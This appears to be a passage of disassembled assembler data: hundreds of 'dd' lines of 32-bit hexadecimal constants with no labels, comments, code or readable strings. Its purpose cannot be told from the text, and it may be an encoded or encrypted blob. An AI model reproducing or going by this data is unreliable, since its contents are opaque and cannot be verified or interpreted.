		dd 0F82066Dh, 0E8C08E00h, 2B640177h, 5E920017h,	0C79C19AAh
		dd 3B0112C1h, 50D02AEBh, 0A1808935h, 83A97F6Fh,	4303BE5Ah
		dd 32C369E1h, 0A390AFE6h, 1F3C904h, 4073AB9Dh, 0F7890248h
		dd 5A138CD8h, 0D1505900h, 0DA255B22h, 0C6DC12EAh, 8BC10054h
		dd 4763A799h, 0A69CC700h, 0E27A5B92h, 7BC303A3h, 9AF45F67h
		dd 35E6EB98h, 1DFDAF00h, 3AA9A00Bh, 81F61438h, 6F07ECEEh
		dd 60F96EEFh, 72B708F0h, 0FEB65000h, 6D091C91h,	196600DDh
		dd 3A29550Eh, 0F60E0CEBh, 4708B66Fh, 97108DA9h,	0A7A0C3h
		dd 357F4195h, 0A8ECBFBh, 5925B913h, 371BE401h, 61D0AF84h
		dd 3D7328F2h, 0CAA80EB3h, 14C0709Fh, 1037FF25h,	0FC108560h
		dd 0B3FBF6h, 0D56AA00Fh, 83C4254Dh, 0EE519EF1h,	0D82C8BC0h
		dd 906D9A87h, 1E600118h, 55CFA408h, 0C8822036h,	9A889013h
		dd 0C6DAE840h, 0C96FEh,	0F5684EF8h, 1659389h, 0E6F98F00h
		dd 0B2D0118Ch, 0B1A2008Dh, 0F2815D5Bh, 44034865h, 1E5C24FBh
		dd 4100DF45h, 3F8A3A31h, 0CBBD997h, 5647C680h, 874B93F2h
		dd 0AC83E828h, 9A38A400h, 4E279261h, 0AF301CA7h, 0C0CB1C67h
		dd 9DCA7547h, 0B1605F86h, 0AA262731h, 37500AE1h, 0AFDF06h
		dd 0ABC3C295h, 6FEE9624h, 41CF777h, 93417BE5h, 0C50AEEEBh
		dd 11CC30h, 61585D9Bh, 70DE0205h, 0EA13A0Fh, 73BC014Bh
		dd 6980EA7Eh, 0B1A9D9EDh, 903A9866h, 62338038h,	5C94A4B6h
		dd 1CD50043h, 5921C7E1h, 6A009AF0h, 2815BEF2h, 5A9233h
		dd 84313973h, 0C6740BD4h, 8007EB0h, 6BC9A29Ah, 7807EFh
		dd 9B5B5288h, 2A839CF6h, 4E907E60h, 3E1C08Bh, 0EFBB2EA9h
		dd 0DC05112h, 0F8006FD5h, 0A7D2B068h, 4E98D605h, 2EA80Ah
		dd 0CD32DFC2h, 3D44FA93h, 0DE8546AFh, 805C0823h, 47E80B95h
		dd 3C52090Fh, 0C8479FDFh, 95B02C62h, 5F2BC985h,	0C4B8AEh
		dd 2179781Fh, 3D5DF3Ah,	0EC5407F5h, 38003970h, 0A99CDAEFh
		dd 1831481Fh, 184B13FAh, 0B56E98A1h, 0A4AC6070h, 0A65BC1h
		dd 0F955BCD4h, 0AD67977Bh, 0B829882Ch, 957C833Dh, 2E05353Bh
		dd 3F819690h, 2151E883h, 8BC8C4A2h, 0D0073F0h, 60C9864Ah
		dd 7A48F55h, 684C23F7h,	735DF099h, 0FF01620Bh, 32A00218h
		dd 0E18029CBh, 45511FF2h, 79007B5Fh, 0E06BD525h, 8EE1CFh
		dd 3156A58Ah, 81C73A63h, 3069CD03h, 0F8BAD229h,	61BC41FBh
		dd 7C584837h, 8508F96h,	7C585427h, 81F90B6Fh, 25969AC1h
		dd 328CF0h, 9E34D10Ch, 45FFBDBh, 6AB2400h, 0B7289ABBh
		dd 8B630023h, 942B446Eh, 603A9653h, 227480C1h, 41995D1Fh
		dd 25EC04h, 0DEB3106Fh,	1214D22Bh, 56CD9602h, 0C0C27460h
		dd 0E91586h, 0BEBBAB29h, 0D0D48082h, 56D95B00h,	0E8FF6811h
		dd 5C60741Ch, 9D1F1250h, 30C6C744h, 249133C0h, 7C566100h
		dd 8955DABBh, 0FCEE03A2h, 23D35A80h, 0BD4CBEA0h, 0EB374407h
		dd 4560DC7Dh, 197EAACh,	618EA477h, 80795F47h, 0BDC1E648h
		dd 6FD66AAh, 0C06F0746h, 79047003h, 7A48855Fh, 0E2D70716h
		dd 800EC5B2h, 0ABAE287Dh, 3F4EA000h, 82DE2D87h,	414B035Ch
		dd 34EE149Bh, 0BABFC790h, 102A6500h, 9C729F05h,	7C41287Eh
		dd 13DD00BEh, 0E0391298h, 93289522h, 47783C42h,	0CE40B100h
		dd 0F5B48008h, 7FA76C7h, 37DFCD7Ah, 0EBF9B0D0h,	0C5007663h
		dd 2AAF4316h, 1E1A8FF1h, 0F06C3Bh, 27F2E923h, 0B50093A4h
		dd 0CF66840Ch, 7205306h
		dd 34B198A9h, 93D183FEh, 0A66E83A0h, 17F72D14h,	2441B020h
		dd 190086D2h, 0C86186F1h, 766457h, 5DC31567h, 0DAB093A8h
		dd 1174A39h, 0ACCEED3Eh, 488202B1h, 0DC555D24h,	0D4A2F700h
		dd 0F379ADh, 493158E7h,	50D1A941h, 63C5EF07h, 0F0C054FEh
		dd 0CC4D0CFh, 9855A3D2h, 770FCD08h, 40D83D64h, 10351393h
		dd 52390049h, 0D4857C59h, 50005F5Dh, 42A189CDh,	0AEC19E8h
		dd 56C27F6h, 855D00A4h,	3C58E638h, 431C3700h, 0E766190h
		dd 8CCA03ECh, 235444D3h, 0D0D64FA9h, 0B8A045DFh, 3907F752h
		dd 89B818ABh, 1491A00h,	280A5F4h, 4E0DFCE3h, 0B08C063Ch
		dd 0F08D949Ch, 0F3395014h, 3D3E0EACh, 3F035AEh,	807EE7CDh
		dd 9F158052h, 5C8779D2h, 3000D207h, 2361C0EFh, 4239DF59h
		dd 7C03FFDDh, 0F19EA18Ch, 276398BCh, 2420F5BAh,	80255443h
		dd 0B8FDE840h, 20BB52F2h, 60F88DC4h, 0F8718FECh, 18EE60C8h
		dd 849C6F7Fh, 0C628F071h, 2A00CCC7h, 0A4A76231h, 3F37C53h
		dd 8D9DD895h, 8FE89345h, 4F02DBCDh, 7DA0F2ABh, 2B40776Dh
		dd 11009927h, 1CCD78ADh, 0A1EDBC94h, 1FEC92CCh,	14CFB803h
		dd 0C2F64A50h, 8201851Dh, 48563A49h, 93000844h,	0AAAF1B20h
		dd 51C9EDAh, 5B6B5004h,	0CDB0052Ch, 231FEA7Ah, 44E63C40h
		dd 0E5F5BBh, 0AFC377CCh, 0F7651845h, 56667000h,	840E22A5h
		dd 0B2FCE0h, 0C6E8C02Ch, 2A9F6D35h, 0CCE65000h,	21AF1A5Dh
		dd 669A008Ch, 9E94632Fh, 0FF01E14Eh, 96324644h,	5C24D77Eh
		dd 72740030h, 0DF8D0EC1h, 4B07FF9Fh, 0AFFB6EF5h, 18298040h
		dd 0ECFE6EEh, 52365448h, 0FFC589h, 9E06733h, 686160ABh
		dd 0AFFD3003h, 0DC001C71h, 0CE1D8DEDh, 28656Fh,	3095F418h
		dd 255987F0h, 0CDF63600h, 0C771BD8Eh, 0D0B8C74Eh, 0A328C020h
		dd 3100C2DCh, 0B2DF9337h, 131D3Eh, 0C1AEA11Bh, 0FD2018BEh
		dd 0C24C9409h, 3CD00181h, 0B12E336Bh, 180BCA9h,	5AFED5D3h
		dd 0EED801A5h, 3D45F222h, 0F428B166h, 4ECE00BCh, 88BF5B3Ch
		dd 927F703Fh, 0DC312C03h, 0A06E82B4h, 58C0BD94h, 7A9240h
		dd 6F9F50ACh, 5E4ACFFCh, 0CB01047Dh, 10F103B1h,	0D4CC5871h
		dd 0CCEE0023h, 0AB4D944Ah, 7972CA19h, 0C3BB3E0h, 0DD410012h
		dd 11E2D05Ah, 85D40930h, 0D8003894h, 0ECFC0CC0h, 6C20D814h
		dd 0E726008Bh, 520187E8h, 7F810013h, 6EFA9450h,	3F792F59h
		dd 5F826700h, 0E420C5B3h, 92FF001Dh, 0C261EB6Fh, 9500634Ah
		dd 407D8DF3h, 4848E2DFh, 0BC032E4Bh, 492668CFh,	0C493E589h
		dd 0D2008BADh, 2542AF47h, 11FF28h, 85269AB3h, 9DACD075h
		dd 0EC6BFB03h, 0A15238F1h, 0B8F82CE1h, 6D213E92h, 8EDF1C00h
		dd 569F177Eh, 7B41EE0Fh, 47B420CBh, 0D55B93h, 0F4D36EBBh
		dd 53D191ACh, 8F0FE307h, 0D9B0F7EBh, 5E2CA2h, 0BD194B09h
		dd 63A1AA3Fh, 27C2DA07h, 0AEF0502Fh, 1E153B3h, 1D9E5F7Ch
		dd 0F889113Fh, 41000FB7h, 0F6B1A850h, 5022FCB5h, 44D803h
		dd 911C63Ch, 62DFA0BBh,	9400E67Bh, 8B5DE395h, 3ABE612Dh
		dd 0C1800776h, 2C92344Fh, 0F10073FCh, 9BE8054Ah, 0C53157h
		dd 0EF5ECF83h, 37BB54A8h, 76933B00h, 58CDBACh, 1378006Ch
		dd 0AF445C2Fh, 81F66F41h, 0FC0E8978h, 8095D94Dh, 1EB4A56h
		dd 1C92F2AAh, 80D5A07Dh, 43C102BAh, 88F24FECh, 570FC900h
		dd 900D466Dh, 3B231CFBh, 0B5B8059h, 3C8CA56Ah, 97CE8B3Ah
		dd 28032ACBh, 0C8B64D14h, 11A046h, 0D3C02002h, 42FDBA56h
		dd 1AE7731Ch, 5B6F00F9h, 3CC6F464h, 990F00F5h, 0CB3F6C32h
		dd 0C990BA24h, 0C122B0Eh, 9DBC2058h, 0B09A9Ch, 0B339A53Ch
		dd 0B6F251C7h, 0AA3BC500h, 0D8FF548Fh, 2E670197h, 0E9BE248Eh
		dd 8913E03Ah, 3308A516h, 0D94D0Eh, 6A72BBFBh, 0BCB00025h
		dd 0D2B6056Dh, 0D70FAB4Ah, 6C76DDh, 0D174EDC6h,	0FABF00D5h
		dd 0A36D1012h, 0F00062E2h, 68BE1B3Ch, 3A8025h, 5CD9196Bh
		dd 4F5B9022h, 78E5E90Fh, 3972602Ah, 4C3C15h, 0D8A05920h
		dd 5A7EA41h, 0E5383377h, 0CA5F00EBh, 3EDB89DFh,	0D4580223h
		dd 2DA21FBDh, 0FE8EF4C0h, 17566200h, 0F43AE7FDh, 78CC005Eh
		dd 9EEC0D6Eh, 1407A186h, 0D44DDE30h, 0B8CA1813h, 1D36FFh
		dd 3D525702h, 0E5773E8Dh, 0C2173115h, 0DC4600C4h, 0FF5CD64Bh
		dd 0AB40C04Ch, 0E2A9826Ah, 3AC05200h, 9CC74391h, 0F28C005Dh
		dd 39FA525h, 4700A7C5h,	8FC3ABE0h, 7C14E96h, 3A568E98h
		dd 8C5880C8h, 451FEE6Bh, 8BC039E2h, 9E6F2480h, 0FCA60726h
		dd 6053F3A3h, 8954E2C6h, 0C73A861Eh, 3D1B9240h,	7AA9D1h
		dd 3941697Ch, 0D4B0F6B5h, 165A1A5Ch, 0F40078F1h, 4834BBE3h
		dd 651D0425h, 80D8CC2Ah, 593701F5h, 0FFE4B000h,	0C97B4BF5h
		dd 828300BBh, 53BE181h,	0AA000C49h, 3594A9B0h, 0CE076Ch
		dd 1FCFFDCDh, 0E6F356DFh, 0F2937503h, 0F0065DF8h, 16DE918h
		dd 0B5F064F1h, 0FCEBAEC8h, 22007016h, 82B2CD8Ah, 370E18h
		dd 77E98F0Ch, 97951FA3h, 42CA9212h, 0F9A45B00h,	5D6964h
		dd 0A22CDD3Ah, 68D884BDh, 9C4F4E1Eh, 0B2C0BA80h, 1ED78E83h
		dd 0C0E441F2h, 66514C4Ah, 3C00BB13h, 0D6A03942h, 29ACCBh
		dd 8F6BEEAEh, 0D38EE31Dh, 6A2E4F00h, 66F53A4Eh,	5D0A071Ch
		dd 47EEA478h, 0A5AD10D5h, 0B7507919h, 0CF008EDBh, 2069885Fh
		dd 0A34D0h, 6A0FB0EAh, 66047BDAh, 46FEDD74h, 9AC2AE07h
		dd 0C00EDFBCh, 563B1FE6h, 31DF853h, 63B8B075h, 12A08D1Ch
		dd 19003F7Bh, 239D3D8Fh, 6979C2h, 9BEDA60Ch, 0DD596545h
		dd 0CECAB100h, 56CC920Eh, 0FCD4E6B2h, 7FAFE43Ch, 77F24CC5h
		dd 3E4B6A02h, 40DD41EBh, 0DBCB8Eh, 0D061B98Dh, 59820B24h
		dd 0E4C4681Fh, 48479F00h, 1B7BB85h, 0A14B5126h,	0C8D1524Eh
		dd 601534CDh, 824E1h, 7F7E0647h, 18840F9Dh, 4067B5D0h
		dd 0C500BC18h, 14F8CDC7h, 740EE131h, 50890098h,	0AEF440DCh
		dd 1703DA7Ch, 641F439Bh, 91E0EF11h, 0CC5399h, 0EF3E6748h
		dd 382F161Ch, 2197B702h, 4065AFBBh, 836B61h, 30063C25h
		dd 278176CBh, 603D0900h, 0C0020D0Ch, 72D20013h,	44A7EF5h
		dd 140016BBh, 0C9100E25h, 725ADAD5h, 2A111EE2h,	0D808C221h
		dd 23403D73h, 2F1CCD0Dh, 0D000B928h, 9F2C7C06h,	0B05C0EE6h
		dd 0F0E01256h, 8D373A6h, 8E1C1D01h, 0D7A09AFFh,	0D24067C1h
		dd 0F506F6h, 0A3A83ECEh, 0FC212934h, 0FE0E4417h, 36D39100h
		dd 2D82B07h, 1B2F5D04h,	8DE05066h, 3B3B7CA7h, 0E8F0806Dh
		dd 5510CD85h, 946500BBh, 79EF5AFDh, 93002F6Ch, 0CA0C6814h
		dd 0F08DF2h, 94E197E9h,	0A40B4ECBh, 0C5EEC20Eh,	281A00B4h
		dd 0E23240A9h, 0B6C30083h, 89865C43h, 2401714Ah, 46854287h
		dd 0DFE4F9ECh, 6D1900F7h, 0DEDDE2F6h, 0E80BD71Ch, 295A6Ch
		dd 3A7E7154h, 84CC0074h, 26D4ECC8h, 0B01D582Ah,	7D8F2C59h
		dd 0AB8360E6h, 1D5FFA23h, 0B892118Eh, 7F07B800h, 0D6F2D984h
		dd 0D2659F00h, 66E3F91h, 0B1811C38h, 4AA2C5EEh,	938759h
		dd 0B3CF67Fh, 66C43E00h, 5EBD1670h, 8C293988h, 0E5879800h
		dd 3097214Ch, 0BED080Fh, 0A0366E7Eh, 0DB1606BAh, 0EA059043h
		dd 0C53F00FCh, 7E1D01Bh, 2400F854h, 0F960BE10h,	0C65A43h
		dd 5106D3CEh, 7764192Dh, 9FEEDC1Ch, 33FC3500h, 0D41561h
		dd 16C9E03Fh, 0DA6F7B60h, 80BF9F3Ah, 0CEF4AE65h, 1DD5221h
		dd 0AD58E99Bh, 0C8A5BB6Bh, 0BD006726h, 352A8EFEh, 3B4643Dh
		dd 4EFF0A1Bh, 92D04642h
		dd 0AD00D9E9h, 0EFCA0B2Dh, 0EEBE690h, 0F0CC309Dh, 0EE51A380h
		dd 38397D11h, 0F22880C9h, 8673D768h, 3F6F0E19h,	2EA34AE2h
		dd 57E05006h, 0C200AA90h, 0E564FC80h, 0C421AEh,	832BC01Ch
		dd 0D79B18E0h, 6A073872h, 0B90404Ah, 0A888B300h, 4BC0039Fh
		dd 49C1F88Ch, 0ED1A0990h, 0D5193Fh, 5FC20396h, 0BFEBBEBh
		dd 0FA24FDCh, 7107DEDCh, 0F47099F5h, 0F8A70DF0h, 968E98B7h
		dd 0F9BC0216h, 637D7C7Fh, 84390082h, 6EB98748h,	0B2745A8Bh
		dd 0FEA5048h, 601B14B0h, 293C2CF8h, 0A3B300AAh,	9A88BB41h
		dd 7800440Bh, 2E85AD21h, 0F1EFFA3Bh, 45DFCh, 31742D84h
		dd 4B67216Ah, 7096400h,	0FB6D3036h, 8B9200FAh, 0E063EF43h
		dd 0B174E3A5h, 307B400h, 5750CF2Fh, 6C200E2h, 0C0DF9DB6h
		dd 0E43D9699h, 0C800766Ah, 1F265A0Fh, 0ECFB2Dh,	0B1469BA6h
		dd 68A3F833h, 1C8AB800h, 0C877180Bh, 323D00DBh,	270163ECh
		dd 250057B9h, 0CE9E448Ah, 7FC7E1h, 0E5DA86E7h, 0F73E43BAh
		dd 6C0070E4h, 0ED713ECh, 711B81Bh, 0C0CB4698h, 79340061h
		dd 0EB076E8Ah, 6DA5DEB7h, 0C77BC32Eh, 372298B5h, 3517405h
		dd 0D5E17896h, 1ED069F5h, 0D900DDF3h, 9154CFC4h, 8F045h
		dd 7353100Ch, 0E8F32569h, 4C466301h, 5AB0BFF7h,	0A3B5ECh
		dd 0ACEDD65Dh, 4341C26Bh, 2F657300h, 40C3566Ch,	333D3CEEh
		dd 0CA009D3Ah, 4D6EDE66h, 0EB00E9F5h, 0FD8B1684h, 3CDC0362h
		dd 80007BF4h, 0C15CBEE7h, 6100E942h, 83916DD2h,	3A2F31Bh
		dd 0A528527Bh, 23D17AA7h, 1FD970C1h, 3E817300h,	7999ABC9h
		dd 0B04A0050h, 0C0BD4774h, 9B0031CEh, 0A065C6DDh, 8C725Ah
		dd 6D7BBCBAh, 874180F3h, 0BDE2E900h, 74D5B81h, 0E5AA001Dh
		dd 0D72DDC47h, 6E0E958Dh, 0E010AD05h, 4C8B4BB2h, 19C000F2h
		dd 36FEB370h, 3A001ACFh, 29E5426Bh, 6CC5A1h, 0E31EA35Fh
		dd 0B660537Ah, 7FC4AB00h, 954F9A66h, 2E010032h,	0A63B68B7h
		dd 0B4002155h, 0E508D79Ch, 156C940h, 0A16B54CCh, 0FCAA0FCDh
		dd 0C773F88Ah, 6F6D7A1Ch, 4D750440h, 94CDF32h, 0A01B18D8h
		dd 9BAC0C80h, 0B93D5840h, 0FF61A438h, 15F82400h, 0DD20C7h
		dd 0E38BB69Ch, 1758B034h, 0CA06F007h, 0E700F82Dh, 3154D3h
		dd 9A7A8E2Ch, 0EFDAD221h, 0B5470C1Dh, 8D62B7C1h, 30BB56h
		dd 71F020h, 0A4BF9990h,	0F8B0FDDEh, 0A28AD100h,	6DF0F36Eh
		dd 76F60022h, 2CFEBF9Eh, 4007CA3Bh, 0E81C8FC6h,	841481A0h
		dd 747F3B0Dh, 0E4262F85h, 2CB00041h, 0E9B5D843h, 0DF026200h
		dd 0B85C8EE7h, 393F1EEDh, 7F758EA5h, 37DE89A0h,	54FE0536h
		dd 0E36EBA00h, 0BE0F6226h, 0DAF178Ah, 42270179h, 80B31478h
		dd 0C2BB4310h, 4D885Bh,	0F6F3F163h, 68D609D8h, 0C0D09500h
		dd 0FC0A35BFh, 0E580011Dh, 8505E0BEh, 87E930F4h, 47A768C0h
		dd 4904B1h, 224D457Fh, 0A02857F3h, 5C274100h, 0FBA26281h
		dd 84B000E0h, 8B37EF2Eh, 0D8007B9Ch, 189579C3h,	9A4885h
		dd 0E915CB86h, 0F1386806h, 0EE3EF500h, 76584E74h, 6BFA2Eh
		dd 0EFBD378Ah, 5DE61638h, 1D233001h, 0FEE7E06Dh, 0FBC5DC41h
		dd 6962C0h, 36ECA37Dh, 0B1A8BEA1h, 3933ECA8h, 622E0360h
		dd 12FFD0h, 13C78C8Bh, 9B788FD1h, 21025530h, 3B56ED4h
		dd 8B3FB26Dh, 9FA0B3CBh, 2F00F774h, 0CF96B6B9h,	1C252B19h
		dd 30FF315h, 3A2CA4Bh, 3CEC0580h, 0E2C180A0h, 68E6417Ch
		dd 4DFC1200h, 6B2F202Dh, 5800F03h, 13C3C40Dh, 0D7908AD9h
		dd 0C3EC52FBh, 0C811DA60h, 51217D0h, 89C78E4Ah,	0C6500585h
		dd 596C00A3h, 9BDA6B7Ah, 2F0368FCh, 0F9D44EE0h,	0C52107B4h
		dd 906203EDh, 0D194A377h, 0EB469C1Ch, 6B100A41h, 0D120C5F1h
		dd 598E008Fh, 5CB1A693h, 4B98837Dh, 0A00470D1h,	0EF7B080h
		dd 1908446Ah, 5D2EA520h, 80E90F47h, 0ACEA07E8h,	1F8031C9h
		dd 0DDD90B7Eh, 21ED184Bh, 25F47C21h, 0CFACD20Ah, 1D00888Fh
		dd 1A01520Bh, 42A4A03Fh, 3CFDFCA5h, 450793FEh, 3ED4C3B2h
		dd 0A280211Bh, 3A00ABCFh, 0DC2ED034h, 30C6C943h, 0B990ED6Bh
		dd 0DA00E901h, 5A8249F9h, 0F8E821h, 69BCA00Bh, 0FAB59268h
		dd 21C71DEAh, 1FA7E048h, 4EA3D1B0h, 0E8280054h,	74EB15B7h
		dd 4B004158h, 76D76B25h, 6050Dh, 1183303Ch, 1E4038F1h
		dd 6F441674h, 0E3B00087h, 6C93E7D4h, 0CF007042h, 95BF0809h
		dd 0DC2C053h, 69C6415Ah, 0F427E431h, 0FE70DB00h, 89BA0439h
		dd 1FD50EC2h, 0E14E4F5Ah, 3ACFB60h, 17003E8Dh, 9781EF9h
		dd 0BFDF122h, 0C9EE4606h, 7A160E80h, 9F3CBBF6h,	8674076Dh
		dd 0D4D6FB35h, 0EA2B1D21h, 0DD1D80F6h, 7C4E3999h, 30297300h
		dd 8D1FCCF2h, 0A81377F7h, 19F64128h, 483495FAh,	20519187h
		dd 885E7600h, 0BCCA71F3h, 453EDE00h, 494FE689h,	95E10FF2h
		dd 650ED023h, 0D15DE8E0h, 1D65BDD8h, 5C205A68h,	10FFF63Eh
		dd 0C4380C95h, 0D700D85Dh, 4E89397h, 5F019F7Ch,	0D4448179h
		dd 1FE091F3h, 23851EE6h, 0F030180h, 82D20EDFh, 4C153638h
		dd 499880BBh, 0C030F81Bh, 0B2A42D09h, 77003536h, 0C92A1CC1h
		dd 0F53F0Dh, 55E08F8Ah,	0F0B57CF7h, 0B0031D75h,	10C971C1h
		dd 424E0E29h, 3F80069Ah, 0C120FFFh, 0B4FD38A8h,	5E7A0517h
		dd 88381B11h, 0B01300F0h, 899B1F4Bh, 35460900h,	1CF0EF5h
		dd 6BA10072h, 0D604EBF6h, 7956FEC0h, 0A533FC8h,	0F065D2CCh
		dd 0D44112C4h, 0EC9DF654h, 7B01E9AEh, 93A435Fh,	1F87187h
		dd 0DB6A00C6h, 0D16EF7FBh, 0B1186F0Dh, 2EF81F36h, 20AB61E5h
		dd 0C1FD2041h, 0BEA1F76Ch, 974E0018h, 91C001ADh, 0D4BDEE7Bh
		dd 0DDCFDCE1h, 0C9FDB05h, 0F400FA45h, 0F42643Fh, 0D8AD011Dh
		dd 0EE3C99ACh, 0E83020EFh, 383E8228h, 0EBADBA02h, 1952F958h
		dd 0D5C450C7h, 5A00AD11h, 0BEA25DEEh, 5F7009h, 36C91C40h
		dd 0CC812764h, 0EF0EF60Fh, 0D0001C8Ch, 0AA3971EBh, 28967413h
		dd 0ECAC36FBh, 4CBA0306h, 1AD0510Ah, 0B4E8E9B0h, 0C33E5E01h
		dd 66F39AFBh, 5C990530h, 6C1CD0DBh, 0CF068CEh, 455227AEh
		dd 0BB02AFEEh, 0B2C8206Dh, 4179605Fh, 604AD1h, 2F3103F9h
		dd 0F4A0752Dh, 82505225h, 6304D950h, 9DF3D157h,	0A50E8F2Ch
		dd 0E0B43763h, 4877651Dh, 4360004Dh, 87BC901Eh,	0E3757CF3h
		dd 4B01107h, 9CF736C8h,	0FE3B301Ah, 8BD14C08h, 40EC6496h
		dd 2ABA3742h, 0C17A0023h, 0C3B9FE60h, 0F449305Fh, 95B3001Ch
		dd 0CE79174Ch, 39C8609Fh, 583805DFh, 0AC908172h, 6F00F846h
		dd 4F24BFBBh, 4484F75Dh, 0D900E65Fh, 0DFD8CBB4h, 1C91EFh
		dd 26B13D0Eh, 0B7AAD22h, 3C2BFD26h, 0FB5FCD01h,	0C25377Ch
		dd 52A61443h, 0A4011444h, 895855BAh, 24210D21h,	4D5B2080h
		dd 0EAD238ADh, 80A78418h, 0ED05EA0h, 17BE6A47h,	0B9A27706h
		dd 0BA218A02h, 8046443Fh, 40B2C4F0h, 2A84A9F1h,	3CF12C8h
		dd 1D7457A7h, 0D10102CAh, 175DE455h, 9980C884h,	3A7445B9h
		dd 0DD008608h, 0AEF16AB6h, 0DCD1CD0h, 896F8533h, 0F9D0403Ah
		dd 80C07A25h, 5F0C4DF5h, 14F0A0C3h, 9730C39h, 5980CAB6h
		dd 562FB900h, 0D7577B8Ah, 3619CF9Fh, 0A810AE00h, 0B4A04724h
		dd 430163B9h, 0FE731FB7h, 29870B0Eh, 3042AE96h,	0EAE2E3F7h
		dd 0EDF59D1Dh, 0F804CF80h, 54B8411Eh, 1D07F0E0h, 80DDF4C8h
		dd 0D222CABAh, 6581D856h, 4C3418F0h, 8505082h, 0B89367h
		dd 0D02DBC4Fh, 38919EA3h, 0BA3AE960h, 87D0014h,	3B837664h
		dd 280F1F01h, 9535E1Bh
		dd 2C64080Fh, 0FB465Ch,	7B63C4C1h, 86CF3Fh, 82D25D97h
		dd 0F3996AB0h, 0EC09D828h, 7F0CF500h, 258EAA3Ch, 0CBFB3F01h
		dd 6F8BC680h, 963642Ch,	5D1C1700h, 8774DD88h, 3CD2B03Fh
		dd 0A1805F56h, 2FE21566h, 2E00ADFCh, 0EE7C284Dh, 992DAFh
		dd 7F9BEF75h, 3B952181h, 0EC4A611Eh, 70653A00h,	33DF12Fh
		dd 0DD716C5Ah, 36873BD7h, 21065832h, 307E3AE3h,	0F75F069h
		dd 3FEA9BECh, 0D9A4D303h, 703508CEh, 7B8020D5h,	0A71C99h
		dd 571B35D2h, 0CD7B0218h, 13666148h, 92007D3Ah,	0C4651395h
		dd 3C9908Bh, 705C3748h,	7A0AB35h, 1200782Bh, 56F4748Eh
		dd 0F8D53C29h, 30F0F665h, 0B7EEBB18h, 0CF000C67h, 0E66F7699h
		dd 7E2C6BE3h, 2DF70043h, 0D6E77D3Eh, 0BAB0312Ah, 710CEF1Fh
		dd 0E0268287h, 12FAF8C0h, 0ACA001D4h, 0B8981F91h, 2E79BBECh
		dd 4A1DC662h, 0A4F0420Fh, 0FFAA125h, 0BD03CA99h, 1000A017h
		dd 0F61F3A80h, 1EADD331h, 2E84BAE4h, 172F02EDh,	0B603216h
		dd 0E9014572h, 0F0ADCD8Ch, 1CBBC0Ch, 0B778441h,	803591C5h
		dd 0ED3D6030h, 79C2BE07h, 589B3075h, 82F6A144h,	487E9E00h
		dd 78625501h, 0ADD50090h, 0B0FCFD5Bh, 0BD30C7C2h, 8A50A9BAh
		dd 21704Ch, 0A63C0512h,	0EEB5F93Bh, 323D7701h, 0FC6C1D02h
		dd 79EDCCh, 0A21BDB69h,	886458F2h, 67860501h, 1AD54A02h
		dd 3891E1D0h, 0F6009997h, 8E4E0DD8h, 12005ED0h,	0FE301E36h
		dd 3A372Ch, 0B6A179A8h,	74463DD4h, 55CB5900h, 3D6CCBCh
		dd 181A00F1h, 6640EAF0h, 0D301FF6Dh, 0E38F5457h, 3980A2A5h
		dd 10EF5FCEh, 0F5265E14h, 2001A272h, 5D7A8AF4h,	0E53230h
		dd 2FB09ACCh, 4CB256F6h, 0E9D16F00h, 0E73D7CA8h, 31AA1636h
		dd 0E00AB176h, 0C51CB537h, 0BA3EF887h, 21733090h, 0F2FA1Eh
		dd 0B9BB1AE6h, 3A85B88h, 0BC7D230Eh, 0E448C0F4h, 789FB45h
		dd 88D861E2h, 0C14DE1C6h, 0D4B2FC17h, 2E358E00h, 0E57A1CD5h
		dd 0B807015Dh, 17A614DAh, 5F3ED0DDh, 240A2100h,	4642D8A2h
		dd 9E190BB7h, 6A839B34h, 4812AFC6h, 0C1BC6FA4h,	0E7F40E74h
		dd 7FC0342Fh, 0AD26AACBh, 0CD2A3E00h, 0A8F527D9h, 401E008Bh
		dd 0B910AF68h, 0EF0648B0h, 0C554B8B4h, 99DD0351h, 0E731D135h
		dd 38E4A8C0h, 8016D0A1h, 356467B9h, 2E4919h, 1DEC7218h
		dd 0E054DA6Bh, 0C897B200h, 19336862h, 0FB2131EDh, 0C538C60h
		dd 75350265h, 0AECBC72Bh, 21BEAB11h, 16356000h,	741855F1h
		dd 83848002h, 0A4663B73h, 52C3768Ch, 8C9118FFh,	0D8581969h
		dd 0ACD30700h, 34ECFD7Dh, 3E02EC4Dh, 3E80A61Eh,	0B21A2BA7h
		dd 1300CAC7h, 0BD32D1CEh, 0ED0A38Ah, 0F8EC82BBh, 4379C527h
		dd 2000D845h, 8A2E28Fh,	56911h,	5A5D3513h, 0F42F10FBh
		dd 0B2607F71h, 0CA38F528h, 83F4A6h, 28C7A07Eh, 0ADBF2535h
		dd 14B2900h, 0AFE990B2h, 88D11CB1h, 86774026h, 17AADF84h
		dd 3B2D6600h, 0A9541BF5h, 0B37600A8h, 0F3D87DC8h, 0CD009369h
		dd 94C27990h, 0FF1C7A5h, 0AC0BEB5Eh, 37982C80h,	64003A82h
		dd 7F520146h, 5CBF1B8h,	3100D24h, 3C0DC3BBh, 0F8C32102h
		dd 80A3F9B6h, 0E2A2BCBAh, 7D07007Ah, 727FC01Ch,	0BE60659Dh
		dd 98AF32A8h, 85CB1899h, 0E3A14134h, 0B194A600h, 8F663F7h
		dd 413200D0h, 2B0223CDh, 7600E32Fh, 28DF44A8h, 306821F6h
		dd 351AD6Eh, 6329F8B2h,	9100C017h, 9AA273A3h, 4B208643h
		dd 0CD04CCDh, 0B8979004h, 0E3AA874Eh, 5138E08Fh, 0E69C00C9h
		dd 0AFBCA3DAh, 64CB01D0h, 5C01440Eh, 17CFD080h,	31B2B9C0h
		dd 1E8509Dh, 3437991Fh,	0D1306827h, 23D0500Bh, 0A100512Bh
		dd 1CAC3BC9h, 0CFED199h, 0AED96A56h, 39001EC1h,	59081F09h
		dd 0C5AC7569h, 7EB21D19h, 0E71AC004h, 0E11BBDBh, 9018F146h
		dd 4136453Fh, 0EBA382A7h, 9E998490h, 0E538FB60h, 0B09F86ADh
		dd 877C000Dh, 9512EFE1h, 4A7DBBEh, 0CA5A9902h, 0F814BCD5h
		dd 0B047FE48h, 509E3ED8h, 88C75400h, 622A2890h,	0A7C07A02h
		dd 0A1DBE96Dh, 6B43A20Ch, 8981F910h, 0A08F1E88h, 0EF739918h
		dd 846E611h, 24CA50CEh,	1049424Ah, 0AE8A898Ch, 95FE8830h
		dd 82427242h, 119A140Ch, 0B91852B6h, 444224A2h,	84977510h
		dd 9A3C5A54h, 24FE5786h, 2283F3C4h, 4818A192h, 0D6128A32h
		dd 4A650CA5h, 840CFA78h, 488FC474h, 32E56586h, 0CA5EAA8h
